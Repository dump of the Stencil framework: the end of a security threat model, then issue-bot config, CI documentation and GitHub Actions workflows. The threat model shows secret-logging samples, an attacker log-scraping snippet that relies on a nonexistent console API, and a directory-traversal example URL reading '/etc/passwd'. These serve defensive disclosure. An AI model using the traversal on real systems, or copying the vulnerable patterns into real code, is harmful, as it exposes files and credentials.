); } } ``` **Example Build Script Logging:** ```javascript // Vulnerable build configuration export const config: Config = { outputTargets: [{ type: 'www' }], plugins: [ { name: 'debug-plugin', buildStart() { // VULNERABLE - Environment variables logged console.log('Build environment:', process.env); console.log('API Keys:', { stripe: process.env.STRIPE_SECRET_KEY, aws: process.env.AWS_SECRET_ACCESS_KEY, db: process.env.DATABASE_PASSWORD }); } } ] }; ``` **Example CI/CD Log Exposure:** ```yaml # GitHub Actions workflow - VULNERABLE name: Build and Deploy on: [push] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Setup Node uses: actions/setup-node@v2 - name: Install dependencies run: npm install - name: Build run: | echo "Building with API key: ${{ secrets.API_KEY }}" # VULNERABLE echo "Database URL: ${{ secrets.DATABASE_URL }}" # VULNERABLE npm run build env: API_KEY: ${{ secrets.API_KEY }} DATABASE_URL: ${{ secrets.DATABASE_URL }} ``` **Attack Exploitation:** ```bash # Attacker accesses CI/CD logs curl -H "Authorization: token $GITHUB_TOKEN" \ https://api.github.com/repos/owner/repo/actions/runs/123/logs # Browser console inspection # Attacker opens browser dev tools and looks for logged sensitive data console.log('Searching for sensitive data...'); console.history.forEach(entry => { if (entry.includes('key') || entry.includes('token') || entry.includes('password')) { console.log('Found sensitive data:', entry); } }); ``` **Real-world Impact:** - **2019**: Travis CI logs exposed AWS credentials for thousands of repositories - **2020**: GitHub Actions logs leaked database credentials for major e-commerce platform - **2021**: Slack bot logs exposed user authentication tokens affecting 500,000+ users - Log aggregation services may retain sensitive data for extended periods | Score | Rationale | |-------|-----------| | **Damage** | 8 | API keys, tokens, or credentials exposed in logs | | **Reproducibility** | 8 | Reproducible when sensitive data is processed | | **Exploitability** | 9 | Logs are easily accessible, no special tools needed | | **Affected Users** | 2.5 | Individual developer and CI/CD systems | | **Discoverability** | 10 | Console output and log files are easily inspectable | **DREAD Score: 37.5/50 - HIGH** ### 3. Threat Prioritization Based on the DREAD scoring system, threats are classified as follows: - **Critical (40-50 points)**: Immediate attention required - **High (25-39 points)**: High priority for remediation - **Medium (11-24 points)**: Moderate priority - **Low (1-10 points)**: Low priority #### Critical Priority Threats: 1. **Threat #2**: Information disclosure of environment variables (48/50) 2. **Threat #7**: Cross-Site Scripting (XSS) (46/50) 3. **Threat #10**: XSS in SSR output (46/50) 4. **Threat #1**: Arbitrary code execution via malicious configuration (43/50) 5. **Threat #4**: Directory traversal attack (42.5/50) 6. **Threat #11**: Server-side information disclosure (40/50) #### High Priority Threats: 7. **Threat #12**: Server-side denial of service (38.5/50) 8. **Threat #8**: Information disclosure via component state (38/50) 9. **Threat #6**: Resource exhaustion (37.5/50) 10. **Threat #14**: Information disclosure via logging (37.5/50) 11. **Threat #9**: Client-side denial of service (36/50) 12. **Threat #5**: Malicious WebSocket connection (32/50) 13. **Threat #3**: Denial of service via malformed input (28.5/50) #### Medium Priority Threats: 14. **Threat #13**: Argument injection (24/50) ### 4. Threat Mitigation This section outlines potential and existing mitigations for the identified threats. #### Compiler **Threat #1: Arbitrary code execution via malicious configuration or plugins** * **Mitigation**: * Stencil's configuration is a TypeScript file (`stencil.config.ts`), which offers some type safety but does not prevent arbitrary code execution. Developers are responsible for trusting the code and plugins they use. * **Recommendation**: Run Stencil in a sandboxed environment (like a Docker container) during CI/CD to limit the blast radius of a compromised build script. Use tools like `npm audit` to check for vulnerable dependencies. **Threat #2: Information disclosure of environment variables** * **Mitigation**: * Stencil replaces `process.env.NODE_ENV` but does not expose other environment variables by default. * **Recommendation**: Developers should be careful not to manually expose sensitive environment variables in their `stencil.config.ts` or application code. **Threat #3: Denial of service via malformed input** * **Mitigation**: * **Recommendation**: Implement input validation and error handling in the compiler to gracefully handle malformed input files. Add timeouts for compilation processes to prevent infinite loops. #### Dev Server **Threat #4: Directory traversal attack** * **Mitigation**: The dev server should sanitize file paths and prevent access to files outside of the project root. * **Finding (CVE-pending)**: The dev server is vulnerable to a directory traversal attack. The `normalizeHttpRequest` function in `src/dev-server/request-handler.ts` computes a file path from the request URL. This path is not properly sanitized or checked against the server's root directory. An attacker on the same network can craft a URL (e.g., `http://:/../../etc/passwd`) to read arbitrary files on the developer's machine. The functions `serveFile` and `serveDirectoryIndex` use this path to read from the file system, leading to the vulnerability. * **Recommendation**: Add a check in `src/dev-server/request-handler.ts` to ensure the resolved file path is located within the configured `root` directory before attempting to access the file system. **Threat #5: Malicious WebSocket connection** * **Mitigation**: The WebSocket server should validate the `Origin` header to ensure it's a trusted source. * **Recommendation**: Implement Origin header validation for WebSocket connections and use authentication tokens for HMR communications. **Threat #6: Resource exhaustion** * **Mitigation**: Implement rate limiting and resource monitoring for the dev server. * **Recommendation**: Add request rate limiting, connection limits, and monitoring for unusual traffic patterns. #### Client-side Runtime & SSR **Threat #7: Cross-Site Scripting (XSS)** * **Mitigation**: * Stencil uses JSX, which automatically escapes data bindings to prevent XSS, similar to React. * **Recommendation**: Developers should avoid using `innerHTML` with untrusted content. When it's necessary, they must sanitize the HTML. **Threat #8: Information disclosure via component state** * **Mitigation**: * **Recommendation**: Implement proper data handling practices, avoid storing sensitive data in component state, and use secure communication channels for sensitive operations. **Threat #9: Client-side denial of service** * **Mitigation**: * **Recommendation**: Implement performance monitoring, use efficient algorithms, and add safeguards against infinite loops in component logic. **Threat #10: XSS in SSR output** * **Mitigation**: * **Recommendation**: For SSR, the same sanitization principles apply and are even more critical as the content is generated on a trusted server. Implement server-side input validation and output encoding. **Threat #11: Server-side information disclosure** * **Mitigation**: * **Recommendation**: Implement proper error handling that doesn't expose internal details, use environment-specific configurations, and sanitize all output. **Threat #12: Server-side denial of service** * **Mitigation**: * **Recommendation**: Implement resource limits, request timeouts, input validation, and monitoring for resource-intensive operations. #### CLI **Threat #13: Argument injection** * **Mitigation**: * **Recommendation**: Implement proper argument validation and sanitization, use parameterized commands, and avoid dynamic command construction. **Threat #14: Information disclosure via logging** * **Mitigation**: * **Recommendation**: Implement secure logging practices, filter sensitive data from logs, and use structured logging with appropriate log levels. #### General Recommendations * **Keep Dependencies Updated**: Regularly update project dependencies to patch known vulnerabilities. * **Secure Coding Practices**: Developers using Stencil should follow standard secure coding practices for web applications. * **Input Validation**: All data, whether from users, files, or network requests, should be validated and sanitized. ================================================ FILE: .github/ionic-issue-bot.yml ================================================ triage: label: triage dryRun: false closeAndLock: labels: - label: 'ionitron: support' message: > Thanks for the issue! This issue appears to be a support request. We use this issue tracker exclusively for bug reports and feature requests. Please use our [Discord server](https://chat.stenciljs.com) for questions about Stencil. Thank you for using Stencil! - label: 'ionitron: missing template' message: > Thanks for the issue! It appears that you have not filled out the provided issue template. We use this issue template in order to gather more information and further assist you. Please create a new issue and ensure the template is fully filled out. Thank you for using Stencil! close: true lock: true dryRun: false comment: labels: - label: 'ionitron: needs reproduction' message: > Thanks for the issue! This issue has been labeled as `needs reproduction`. This label is added to issues that need a code reproduction. Please reproduce this issue in an Stencil starter component library and provide a way for us to access it (GitHub repo, StackBlitz, etc). Without a reliable code reproduction, it is unlikely we will be able to resolve the issue, leading to it being closed. If you have already provided a code snippet and are seeing this message, it is likely that the code snippet was not enough for our team to reproduce the issue. For a guide on how to create a good reproduction, see our [Contributing Guide](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md). dryRun: false noReply: maxIssuesPerRun: 100 includePullRequests: false label: Awaiting Reply close: false lock: false dryRun: false noReproduction: days: 14 maxIssuesPerRun: 100 label: 'ionitron: needs reproduction' responseLabel: triage exemptProjects: true exemptMilestones: true message: > Thanks for the issue! This issue is being closed due to the lack of a code reproduction. If this is still an issue with the latest version of Stencil, please create a new issue and ensure the template is fully filled out. Thank you for using Stencil! close: true lock: true dryRun: false stale: days: 30 maxIssuesPerRun: 100 exemptLabels: - 'Bug: Validated' - 'Feature: Want this? Upvote it!' - good first issue - help wanted - Request For Comments - 'Resolution: Needs Investigation' - 'Resolution: Refine' - triage exemptAssigned: true exemptProjects: true exemptMilestones: true label: 'ionitron: stale issue' message: > Thanks for the issue! This issue is being closed due to inactivity. If this is still an issue with the latest version of Stencil, please create a new issue and ensure the template is fully filled out. Thank you for using Stencil! close: true lock: true dryRun: false wrongRepo: repos: - label: 'ionitron: cli' repo: ionic-cli message: > Thanks for the issue! We use this issue tracker exclusively for bug reports and feature requests associated with Stencil. It appears that this issue is associated with the Ionic CLI. I am moving this issue to the Ionic CLI repository. Please track this issue over there. Thank you for using Stencil! - label: 'ionitron: ionic' repo: ionic message: > Thanks for the issue! We use this issue tracker exclusively for bug reports and feature requests associated with Stencil. It appears that this issue is associated with the Ionic Framework. I am moving this issue to the Ionic Framework repository. Please track this issue over there. Thank you for using Stencil! close: true lock: true dryRun: false ================================================ FILE: .github/reproduire/needs-reproduction.md ================================================ We need a minimal reproduction to be able to triage this issue. ### Why do we need a minimal reproduction? Reproductions allow the team to triage and fix issues quickly with a tiny team. They help us identify the source of the problem and verify that the issue is not caused by something specific to your project. ### How can I create a reproduction? Please use our [Stencil Starter](https://codesandbox.io/p/github/johnjenkins/stencil-starter/) to create a minimal reproduction.
Other starter templates | Template | CodeSandbox | |----------|-------------| | Stencil + Vitest | [stencil-starter-vitest](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vitest/) | | Angular | [stencil-angular-starter](https://codesandbox.io/p/github/johnjenkins/stencil-angular-starter/) | | NextJs | [stencil-starter-next](https://codesandbox.io/p/github/johnjenkins/stencil-starter-next/) | | React | [stencil-starter-react](https://codesandbox.io/p/github/johnjenkins/stencil-starter-react/) | | Vue | [stencil-starter-vue](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vue/) |
A reproduction should be **as minimal as possible**. This means removing any code that is not directly related to the issue. The less code there is, the easier it is to identify the problem. You can also provide a link to a public GitHub repository that demonstrates the issue. ### What happens next? - If you provide a valid reproduction link, this issue will be triaged and addressed based on priority. - If no reproduction is provided within **14 days**, this issue may be automatically closed. - You can always reopen the issue by providing a reproduction link. --- **Resources:** - [How to create a Minimal, Reproducible Example](https://stackoverflow.com/help/minimal-reproducible-example) - [The Importance of Reproductions](https://antfu.me/posts/why-reproductions-are-required) ================================================ FILE: .github/workflows/README.md ================================================ # Stencil Continuous Integration (CI) Continuous integration (CI) is an important aspect of any project, and is used to verify and validate the changes to the codebase work as intended, to avoid introducing regressions (bugs), and to adhere to coding standards (e.g. formatting rules). It provides a consistent means of performing a series of checks over the entire codebase on behalf of the team. This document explains Stencil's CI setup. ## CI Environment Stencil's CI system runs on GitHub Actions. GitHub Actions allow developers to declare a series of _workflows_ to run following an _event_ in the repository, or on a set schedule. The workflows that are run as a part of Stencil's CI process are declared as YAML files, and are stored in the same directory as this file. Each workflow file is explained in greater depth in the [workflows section](#workflows) of this document. ## Workflows This section describes each of Stencil's GitHub Actions workflows. Each of these tasks below are codified as [reusable workflows](https://docs.github.com/en/actions/using-workflows/reusing-workflows). Generally speaking, workflows are designed to be declarative in nature. As such, this section does not intend to duplicate the details of each workflow, but rather give a high level overview of each one and mention nuances of each. ### Main (`main.yml`) The main workflow for Stencil can be found in `main.yml` in this directory. This workflow is the entrypoint of Stencil's CI system, and initializes every workflow & job that runs. ### Build (`build.yml`) This workflow is responsible for building Stencil and validating the resultant artifact. ### Format (`format.yml`) This workflow is responsible for validating that the code adheres to the Stencil team's formatting configuration before a pull request is merged. ### Dev Release (`release-dev.yml`) This workflow initiates a developer build of Stencil from the `main` branch. It is intended to be manually invoked by a member of the Stencil team. ### Nightly Release (`release-nightly.yml`) This workflow initiates a nightly build of Stencil from the `main` branch. A nightly build is similar to a 'Dev Release', except that: - it is run on a set cadence (it is not expectedthat a developer to manually invoke it) - it is published to the npm registry under the 'nightly' tag ### Test Analysis (`test-analysis.yml`) This workflow is responsible for running the Stencil analysis testing suite. ### Test End-to-End (`test-e2e.yml`) This workflow is responsible for running the Stencil end-to-end testing suite. This suite does _not_ run Stencil's BrowserStack tests. Those are handled by a [separate workflow](#browserstack-browserstackyml). ### Test Unit (`test-unit.yml`) This workflow is responsible for running the Stencil unit testing suite. ### WebdriverIO Tests (`test-wdio.yml`) This workflow runs our integration tests which assert that various Stencil features work correctly when components using them are built and then rendered in actual browsers. We run these tests using [WebdriverIO](https://webdriver.io/) against Firefox, Chrome, and Edge. For more information on how those tests are set up please see the [WebdriverIO test README](../../test/wdio/README.md). ### Design #### Overview Most of the workflows above are contingent on the build finishing (otherwise there would be nothing to run against). The diagram below displays the dependencies between each workflow. ```mermaid graph LR; build-core-->test-analysis; build-core-->test-e2e; build-core-->test-unit; format; ``` Making each 'task' a reusable workflow allows CI to run more jobs in parallel, improving the throughput of Stencil's CI. All resusable workflows can be found in the [workflows directory](.). This is a GitHub Actions convention that cannot be overridden. #### Running Tests All test-related jobs require the build to finish first. Upon successful completion of the build workflow, each test workflow will start. The test-running workflows have been designed to run in parallel and are configured to run against several operating systems & versions of node. For a test workflow that theoretically runs on Ubuntu and Windows operating systems and targets Node v14, v16 and v18, a single test workflow may spawn several jobs: ```mermaid graph LR; test-analysis-->ubuntu-node14; test-analysis-->ubuntu-node16; test-analysis-->ubuntu-node18; test-analysis-->windows-node14; test-analysis-->windows-node16; test-analysis-->windows-node18; ``` These 'os-node jobs' (e.g. `ubuntu-node16`) are designed to _not_ prematurely stop their sibling jobs should one of them fail. This allows the opportunity for the sibling test jobs to potentially pass, and reduce the number of runners that need to be spun up again should a developer wish to 're-run failed jobs'. Should a developer feel that it is more appropriate to re-run all os-node jobs, they may do so using GitHub's 're-run all jobs' options in the GitHub Actions UI. #### Concurrency When a `git push` is made to a branch, Stencil's CI is designed to stop existing job(s) associated with the workflow + branch. A new CI run (of each workflow) will begin upon stopping the existing job(s) using the new `HEAD` of the branch. ## Repository Configuration Each of the workflows described in the [workflows section](#workflows) of this document must be configured in the Stencil GitHub repository to be _required_ to pass in order to land code in the `main` branch. ================================================ FILE: .github/workflows/actions/check-git-context/action.yml ================================================ name: 'Check Git Context' description: 'checks for a dirty git context, failing if the context is dirty' runs: using: composite steps: - name: Git status check # here we check that there are no changed / new files. # we use `git status`, grep out the build zip used throughout CI, # and check if there are more than 0 lines in the output. run: if [[ $(git status --short | grep -c -v stencil-core-build.zip) -ne 0 ]]; then STATUS=$(git status --verbose); printf "%s" "$STATUS"; git diff | cat; exit 1; fi shell: bash ================================================ FILE: .github/workflows/actions/download-archive/action.yml ================================================ name: 'Stencil Archive Download' description: 'downloads and decompresses an archive from a previous job' inputs: path: description: 'location to decompress the archive to' filename: description: 'the name of the decompressed artifact' name: description: 'name of the archive to decompress' runs: using: 'composite' steps: - uses: actions/download-artifact@65a9edc5881444af0b9093a5e628f2fe47ea3b2e # v4.1.7 with: name: ${{ inputs.name }} path: ${{ inputs.path }} - name: Extract Archive run: unzip -q -o ${{ inputs.path }}/${{ inputs.filename }} -d ${{ inputs.path }} shell: bash ================================================ FILE: .github/workflows/actions/get-core-dependencies/action.yml ================================================ name: 'Get Core Dependencies' description: 'sets the node version & initializes core dependencies' runs: using: composite steps: # this overrides previous versions of the node runtime that was set. # jobs that need a different version of the Node runtime should explicitly # set their node version after running this step - name: Use Node Version from Volta uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3 with: node-version-file: './package.json' cache: 'npm' - name: Install Dependencies run: | npm ci \ && npm run install.jest shell: bash ================================================ FILE: .github/workflows/actions/upload-archive/action.yml ================================================ name: 'Stencil Archive Upload' description: 'compresses and uploads an archive to be reused across jobs' inputs: paths: description: 'paths to files or directories to archive (recursive)' output: description: 'output file name' name: description: 'name of the archive to upload' runs: using: 'composite' steps: - name: Create Archive run: zip -q -r ${{ inputs.output }} ${{ inputs.paths }} shell: bash - uses: actions/upload-artifact@65462800fd760344b1a7b4382951275a0abb4808 # v4.3.3 with: name: ${{ inputs.name }} path: ${{ inputs.output }} ================================================ FILE: .github/workflows/build.yml ================================================ name: Build Stencil on: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: build_core: name: Core strategy: matrix: os: ['ubuntu-22.04', 'windows-latest'] runs-on: ${{ matrix.os }} steps: - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: Core Build run: npm run build -- --ci shell: bash - name: Validate Build run: npm run test.dist shell: bash - name: Validate Testing run: npm run test.testing shell: bash - name: Upload Build Artifacts if: ${{ matrix.os == 'ubuntu-22.04' }} uses: ./.github/workflows/actions/upload-archive with: name: stencil-core output: stencil-core-build.zip paths: cli compiler dev-server internal mock-doc scripts/build screenshot sys testing ================================================ FILE: .github/workflows/create-production-pr.yml ================================================ name: 'Stencil Production Release PR Creation' on: workflow_dispatch: inputs: version: required: true type: choice description: Which version should be published? options: - prerelease - prepatch - preminor - premajor - patch - minor - major base: required: true type: choice description: Which base branch should be targeted? default: main options: - main - v3-maintenance jobs: create-stencil-release-pull-request: name: Generate Stencil Release PR runs-on: ubuntu-latest permissions: contents: write pull-requests: write steps: # Log the input from GitHub Actions for easy traceability - name: Log GitHub Input run: | echo "Version: ${{ inputs.version }}" shell: bash - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 with: # A depth of 0 gets the entire git history, which we'll want for things like checking all git history/tags. # We need git history to generate the changelog; however, we don't know how deep to go. # Since publishing is a one-off activity, just get everything. fetch-depth: 0 ref: ${{ inputs.base }} - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies # TODO(STENCIL-927): Backport changes to the v3 branch - name: Run Publish Preparation Script run: npm run release.ci.prepare -- --version ${{ inputs.version }} shell: bash - name: Log Generated Changes run: git --no-pager diff shell: bash - name: Generate Version String and Branch Name id: name_gen run: | VERSION_STR=$(jq '.version' package.json | sed s/\"//g) echo "VERSION_STR=$VERSION_STR" >> "$GITHUB_OUTPUT" echo "BRANCH_NAME=release/$VERSION_STR-run-${{ github.run_number }}-${{ github.run_attempt }}" >> "$GITHUB_OUTPUT" shell: bash - name: Print Version String and Branch Name run: | echo Version: ${{ steps.name_gen.outputs.VERSION_STR }} echo Branch Name: ${{ steps.name_gen.outputs.BRANCH_NAME }} shell: bash - name: Create the Pull Request uses: peter-evans/create-pull-request@6d6857d36972b65feb161a90e484f2984215f83e # v6.0.5 with: # create a new pull request using the specified base branch base: ${{ inputs.base }} # specifies the name of the branch to create off of the base branch branch: '${{ steps.name_gen.outputs.BRANCH_NAME }}' # TODO(STENCIL-928): Remove this once pipeline is 'ready' draft: true # create a commit message containing the semver version, prefixed with a 'v' - e.g. 'v4.1.0' commit-message: 'v${{ steps.name_gen.outputs.VERSION_STR }}' # set the title of the pull request, otherwise it'll default to generic message title: 'Release v${{ steps.name_gen.outputs.VERSION_STR }}' # the body of the pull request summary can be empty body: '' ================================================ FILE: .github/workflows/lint-and-format.yml ================================================ name: Lint and Format Stencil (Check) on: merge_group: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: format: name: Check runs-on: 'ubuntu-22.04' steps: - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: ESLint run: npm run lint - name: Prettier Check run: npm run prettier.dry-run shell: bash - name: Spellcheck run: npm run spellcheck ================================================ FILE: .github/workflows/main.yml ================================================ name: CI on: merge_group: push: branches: - 'main' - 'stencil/v4-dev' pull_request: branches: - '**' concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: true permissions: contents: read jobs: build_core: name: Build uses: ./.github/workflows/build.yml lint_and_format: name: Lint and Format uses: ./.github/workflows/lint-and-format.yml type_tests: name: Type Tests needs: [build_core] uses: ./.github/workflows/test-types.yml analysis_tests: name: Analysis Tests needs: [build_core] uses: ./.github/workflows/test-analysis.yml docs_build_tests: name: Docs Build Tests needs: [build_core] uses: ./.github/workflows/test-docs-build.yml bundler_tests: name: Bundler Tests needs: [build_core] uses: ./.github/workflows/test-bundlers.yml copytask_tests: name: Copy Task Tests needs: [build_core] uses: ./.github/workflows/test-copytask.yml component_starter_tests: name: Component Starter Smoke Test needs: [build_core] uses: ./.github/workflows/test-component-starter.yml e2e_tests: name: E2E Tests needs: [build_core] uses: ./.github/workflows/test-e2e.yml unit_tests: name: Unit Tests needs: [build_core] uses: ./.github/workflows/test-unit.yml wdio_tests: name: WebdriverIO Tests needs: [build_core] uses: ./.github/workflows/test-wdio.yml ================================================ FILE: .github/workflows/publish-npm.yml ================================================ name: 'Release' on: workflow_call: inputs: version: description: 'The type of version to release.' required: true type: string tag: description: 'The tag to publish to on NPM.' required: true type: string node-version: description: 'Node.js version to use when publishing.' required: false type: string default: '20' registry-url: description: 'Registry URL used for npm publish.' required: false type: string default: 'https://registry.npmjs.org' scope: description: 'npm scope that should use the trusted publisher auth.' required: false type: string default: '@stencil' permissions: contents: write id-token: write jobs: publish: runs-on: ubuntu-latest steps: - name: 📥 Checkout Code uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0 - name: 🕸️ Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: 🟢 Configure Node for Publish uses: actions/setup-node@2028fbc5c25fe9cf00d9f06a71cc4710d4507903 # v6.0.0 with: node-version: ${{ inputs.node-version }} registry-url: ${{ inputs.registry-url }} scope: ${{ inputs.scope }} - name: 🔄 Ensure Latest npm run: npm install -g npm@latest shell: bash - name: 📥 Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: 🏷️ Set Version run: npm version --no-git-tag-version --allow-same-version ${{ inputs.version }} shell: bash - name: 🚀 Publish to NPM run: npm publish --tag ${{ inputs.tag }} --provenance shell: bash ================================================ FILE: .github/workflows/release-dev.yml ================================================ name: 'Stencil Dev Release' on: workflow_call: outputs: dev-version: description: The version that was just published to npm. value: ${{ jobs.get-dev-version.outputs.dev-version }} permissions: contents: write id-token: write jobs: build_core: name: 🏗️ Build uses: ./.github/workflows/build.yml get-dev-version: name: 🔍 Get Dev Build Version needs: [build_core] runs-on: ubuntu-22.04 outputs: dev-version: ${{ steps.get-dev-version.outputs.DEV_VERSION }} steps: - name: 📥 Checkout Code uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0 - name: 🕸️ Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: 📥 Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: 🔎 Get Version id: get-dev-version run: | # A unique string to publish Stencil under # e.g. "3.0.1-dev.1677185104.7c87e34" # # Pull this value from the compiled artifacts DEV_VERSION=$(./bin/stencil version) echo "Using version $DEV_VERSION" # store a key/value pair in GITHUB_OUTPUT # e.g. "DEV_VERSION=3.0.1-dev.1677185104.7c87e34" echo "DEV_VERSION=$DEV_VERSION" >> $GITHUB_OUTPUT shell: bash release-stencil-dev-build: name: 🚀 Publish Dev Build needs: [get-dev-version, build_core] uses: ./.github/workflows/publish-npm.yml with: tag: dev version: ${{ needs.get-dev-version.outputs.dev-version }} ================================================ FILE: .github/workflows/release-nightly.yml ================================================ name: 'Stencil Nightly Release' on: workflow_call: permissions: contents: write id-token: write jobs: build_core: name: 🏗️ Build uses: ./.github/workflows/build.yml get-nightly-version: name: 🔍 Get Nightly Build Version needs: [build_core] runs-on: ubuntu-22.04 outputs: nightly-version: ${{ steps.get-nightly-version.outputs.NIGHTLY_VERSION }} steps: - name: 📥 Checkout Code uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0 - name: 🕸️ Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: 📥 Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: 🔎 Get Version id: get-nightly-version run: | # A unique string to publish Stencil under # e.g. "3.0.1-dev.1677185104.7c87e34" # # Note: A 'nightly' build is just a 'dev' build that is published at # night, under the 'nightly' tag in npm # # Pull this value from the compiled artifacts NIGHTLY_VERSION=$(./bin/stencil version) echo "Using version $NIGHTLY_VERSION" # store a key/value pair in GITHUB_OUTPUT # e.g. "NIGHTLY_VERSION=3.0.1-dev.1677185104.7c87e34" echo "NIGHTLY_VERSION=$NIGHTLY_VERSION" >> $GITHUB_OUTPUT shell: bash release-stencil-nightly-build: name: 🚀 Publish Nightly Build needs: [get-nightly-version, build_core] uses: ./.github/workflows/publish-npm.yml with: tag: nightly version: ${{ needs.get-nightly-version.outputs.nightly-version }} ================================================ FILE: .github/workflows/release-orchestrator.yml ================================================ name: 'Stencil Release' on: schedule: # Run every Monday-Friday at 5:00 AM (UTC) - cron: '00 05 * * 1-5' workflow_dispatch: inputs: release-type: description: 'Which Stencil release workflow should run?' required: true type: choice default: nightly options: - dev - nightly - production tag: description: 'npm tag for production releases.' required: false type: choice default: latest options: - dev - latest - use_pkg_json_version base: description: 'Base branch for production releases.' required: false type: choice default: main options: - main - v3-maintenance permissions: contents: write id-token: write jobs: run-nightly: if: ${{ github.event_name == 'schedule' || (github.event_name == 'workflow_dispatch' && inputs.release-type == 'nightly') }} uses: ./.github/workflows/release-nightly.yml secrets: inherit run-dev: if: ${{ github.event_name == 'workflow_dispatch' && inputs.release-type == 'dev' }} uses: ./.github/workflows/release-dev.yml secrets: inherit run-production: if: ${{ github.event_name == 'workflow_dispatch' && inputs.release-type == 'production' }} uses: ./.github/workflows/release-production.yml secrets: inherit with: tag: ${{ inputs.tag }} base: ${{ inputs.base }} ================================================ FILE: .github/workflows/release-production.yml ================================================ name: 'Stencil Production Release' on: workflow_call: inputs: tag: required: false default: latest type: string description: Which npm tag should this be published to? (dev, latest, or use_pkg_json_version) base: required: true type: string description: Which base branch should be targeted? (main or v3-maintenance) default: main permissions: contents: write id-token: write jobs: release-stencil-production-build: name: Publish Stencil (Production) runs-on: ubuntu-latest permissions: contents: write id-token: write steps: # Log the input from GitHub Actions for easy traceability - name: 🔒 Log GitHub Workflow UI Input run: | echo "Tag: ${{ inputs.tag }}" echo "Base Branch: ${{ inputs.base }}" shell: bash - name: 🔎 Verify that the 'latest' tag is applied only to the 'main' branch run: | echo "The 'latest' tag can only be published from the 'main' branch. Exiting." exit 1 shell: bash if: ${{ inputs.base != 'main' && inputs.tag == 'latest' }} - name: 📥 Checkout Code uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0 with: # A depth of 0 gets the entire git history, which we'll want for things like checking all git history/tags. # We need git history to generate the changelog; however, we don't know how deep to go. # Since publishing is a one-off activity, just get everything. fetch-depth: 0 ref: ${{ inputs.base }} - name: 🕸️ Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: 🟢 Configure Node for Publish uses: actions/setup-node@2028fbc5c25fe9cf00d9f06a71cc4710d4507903 # v6.0.0 with: node-version: '20' registry-url: 'https://registry.npmjs.org' - name: 🔄 Ensure Latest npm run: npm install -g npm@latest shell: bash - name: 📦 Run Publish Scripts # pass the generated version number instead of the input, since we've already incremented it in the prerelease # step run: npm run release.ci -- --tag ${{ inputs.tag }} shell: bash ================================================ FILE: .github/workflows/reproduire.yml ================================================ name: Needs Reproduction on: issues: types: [labeled] permissions: issues: write jobs: reproduire: runs-on: ubuntu-latest if: "github.event.label.name == 'ionitron: needs reproduction'" steps: - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v4 - uses: Hebilicious/reproduire@v0.0.9-mp with: label: 'ionitron: needs reproduction' ================================================ FILE: .github/workflows/test-analysis.yml ================================================ name: Analysis Tests on: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: analysis_test: name: (${{ matrix.os }}.${{ matrix.node }}) strategy: fail-fast: false matrix: node: ['20', '22'] os: ['ubuntu-latest', 'windows-latest'] runs-on: ${{ matrix.os }} steps: - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: Use Node ${{ matrix.node }} uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3 with: node-version: ${{ matrix.node }} cache: 'npm' - name: Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: Bundle Size Test run: npm run test.bundle-size shell: bash - name: Check Git Context uses: ./.github/workflows/actions/check-git-context ================================================ FILE: .github/workflows/test-bundlers.yml ================================================ name: Bundler Tests on: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: bundler_tests: name: Verify Bundlers runs-on: 'ubuntu-22.04' steps: - name: Checkout Code uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 - name: Get Core Dependencies uses: ./.github/workflows/actions/get-core-dependencies - name: Download Build Archive uses: ./.github/workflows/actions/download-archive with: name: stencil-core path: . filename: stencil-core-build.zip - name: Bundler Tests run: npm run test.bundlers shell: bash - name: Check Git Context uses: ./.github/workflows/actions/check-git-context ================================================ FILE: .github/workflows/test-component-starter.yml ================================================ name: Component Starter Smoke Test on: workflow_call: # Make this a reusable workflow, no value needed # https://docs.github.com/en/actions/using-workflows/reusing-workflows permissions: contents: read jobs: analysis_test: name: (${{ matrix.os }}.node-${{ matrix.node }}) strategy: fail-fast: false matrix: node: ['20', '22'] os: ['ubuntu-latest', 'windows-latest'] runs-on: ${{ matrix.os }} steps: - name: Checkout Code uses: 